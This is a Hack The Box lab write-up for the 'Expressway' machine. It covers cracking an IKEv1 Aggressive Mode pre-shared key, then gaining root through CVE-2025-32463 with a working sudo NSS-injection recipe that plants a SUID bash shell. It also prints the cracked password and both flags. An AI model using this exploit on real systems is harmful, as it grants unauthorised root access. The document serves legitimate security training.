Expressway

date: 2025-11-20 difficulty: Unknown os: Linux
ikeikev1aggressive-modepskipsecsudoCVE-2025-32463nss-injectionprivilege-escalation
Expressway pwned certificate

Expressway — HTB Writeup

Machine Summary

Property Value
Name Expressway
IP 10.129.238.52
OS Linux (Debian)
Difficulty Unknown
Key Topics IKEv1 Aggressive Mode PSK capture, offline brute-force, CVE-2025-32463 sudo NSS injection

Overview

Expressway exposes an IKEv1 VPN endpoint on UDP/500 running in Aggressive Mode, which leaks the PSK hash during the handshake. The hash is cracked offline against rockyou.txt to recover the pre-shared key, which doubles as the SSH password for the ike user. Once on the box, a custom-compiled sudo 1.9.17 binary (SUID) is vulnerable to CVE-2025-32463: an attacker-controlled chroot directory can be used to inject a malicious NSS library that executes constructor code as root before the chroot is entered.


Reconnaissance

TCP Port Scan

nmap -Pn -p- --min-rate 2000 10.129.238.52

PORT   STATE SERVICE
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8

Only SSH on TCP. Ran a UDP scan against top ports:

nmap -Pn -sU --top-ports 200 10.129.238.52

PORT    STATE         SERVICE
69/udp  open|filtered tftp
500/udp open|filtered isakmp

UDP/500 (ISAKMP) and UDP/69 (TFTP) are present.

TFTP Enumeration

TFTP requires no authentication. Fetched the server’s contents:

tftp 10.129.238.52
tftp> get ciscortr.cfg

The file /srv/tftp/ciscortr.cfg contained a Cisco router configuration revealing:

  • ISAKMP group: rtr-remote
  • Domain: expressway.htb
  • Encryption: 3DES, DH group 2, SHA1
  • VPN group key: secret-password (not the SSH password — used to identify the IKE profile)

IKEv1 Aggressive Mode — Identity Discovery

Probed UDP/500 with a custom Python script using the IKE Aggressive Mode handshake format. The server responded with its identity:

IDir: ike@expressway.htb

This revealed both the username (ike) and the hostname (expressway.htb).


Exploitation — User Flag

IKEv1 PSK Hash Capture

IKEv1 Aggressive Mode sends authentication material before identity is verified. The server’s response includes a HASH_R value which is an HMAC-SHA1 over the Diffie-Hellman exchange data, keyed by SKEYID = HMAC-SHA1(psk, Ni || Nr).

Captured the full exchange:

  • Ni (initiator nonce), Nr (responder nonce)
  • g^xi, g^xr (DH public values)
  • CKY-I, CKY-R (cookies)
  • SAi_b (SA payload bytes)
  • IDir_b (responder identity bytes)
  • HASH_R (expected value)

Verification formula:

SKEYID = hmac.new(psk, Ni + Nr, hashlib.sha1).digest()
HASH_R_computed = hmac.new(SKEYID, g_xr + g_xi + CKY_R + CKY_I + SAi_b + IDir_b, hashlib.sha1).digest()
# Match if HASH_R_computed == HASH_R

PSK Brute Force

Wrote a Python brute-forcer using the captured IKE data. Ran against /usr/share/wordlists/rockyou.txt at ~266,000 candidates/second.

PSK found at ~8 million candidates:

freakingrockstarontheroad

SSH Access

Confirmed with hydra:

hydra -l ike -p freakingrockstarontheroad ssh://10.129.238.52
[22][ssh] host: 10.129.238.52  login: ike  password: freakingrockstarontheroad

Connected via SSH and read the user flag:

cat /home/ike/user.txt

User Flag: 3edd7fd15dc2f1714d7cf37ecd96db5c


Privilege Escalation — Root Flag

Enumeration

On the target as ike:

ls -la /usr/local/bin/sudo
-rwsr-xr-x 1 root root 2M ... /usr/local/bin/sudo

/usr/local/bin/sudo --version
Sudo version 1.9.17

sudo 1.9.17 is a custom SUID binary. This version is within the affected range for CVE-2025-32463.

CVE-2025-32463 — sudo NSS Library Injection

Vulnerability: sudo 1.9.14–1.9.17 with the -R (chroot) option reads /etc/nsswitch.conf from inside the chroot directory and loads the specified NSS modules before entering the chroot. If the NSS module name resolves to a path outside the chroot, an attacker-controlled shared library is loaded as root.

Setup:

  1. Create directory structure:
/tmp/stage/
  woot1337.c          ← malicious C source
  libnss_/
    woot1337.so.2     ← compiled library (loaded by sudo BEFORE chroot)
  woot/               ← chroot directory
    etc/
      nsswitch.conf   ← "passwd: /woot1337"
      group
  1. nsswitch.conf content:
passwd: /woot1337
group: files
shadow: files
  1. When sudo sees passwd: /woot1337, it looks for libnss_/woot1337.so.2 relative to its working directory — which is STAGE/ — outside the chroot.

  2. Malicious library constructor (runs as root):

__attribute__((constructor)) void woot(void) {
    setreuid(0,0); setregid(0,0);
    int rfd = open("/root/root.txt", O_RDONLY);
    int wfd = open("/tmp/root_flag.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    // ... read and write flag
    system("cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash");
}
  1. Trigger (CRITICAL: must use relative paths from within STAGE):
cd /tmp/stage && /usr/local/bin/sudo -R woot woot

Result: Constructor executed as root. /tmp/root_flag.txt written, SUID bash created at /tmp/.rootbash.

cat /tmp/root_flag.txt

Root Flag: c82fbe889ad6e36e8d26b82757ac1822


Obstacles & Lessons Learned

  1. PSK ≠ group key: The Cisco config’s key secret-password is the IKE group key for Cisco VPN clients — NOT the SSH password. The actual PSK was only findable via hash capture and brute-force.

  2. Hashcat mode 5400: Hashcat’s IKE-PSK mode has a specific multi-field format that didn’t match our captured data structure. Writing a custom Python verifier was faster and more reliable.

  3. CVE-2025-32463 relative vs absolute paths: The exploit ONLY works when run with cd $STAGE && sudo -R woot woot (relative paths). Using absolute paths (sudo -R /tmp/stage/woot /tmp/stage/woot) causes sudo to resolve the library path differently — the library is not found and no injection occurs.

  4. Heredoc C code issue: Writing C source containing \n in string literals via bash heredoc caused early termination. Solution: use paramiko SFTP to write the file directly as bytes, bypassing shell interpretation entirely.

  5. Background process conflict: A background ike_probe.py process was holding UDP/500 open, preventing subsequent IKE probing scripts from binding. Always check for conflicting listeners before running UDP exploits.


Tools Used

Tool Purpose
nmap TCP/UDP port scanning, service version detection
ike-scan IKEv1 protocol probing
Custom Python (paramiko, hashlib, hmac) IKE Aggressive Mode PSK capture and brute-force
tftp Anonymous TFTP file retrieval
hydra SSH credential verification
gcc Compile malicious NSS shared library on target
CVE-2025-32463 PoC sudo 1.9.17 chroot NSS injection for root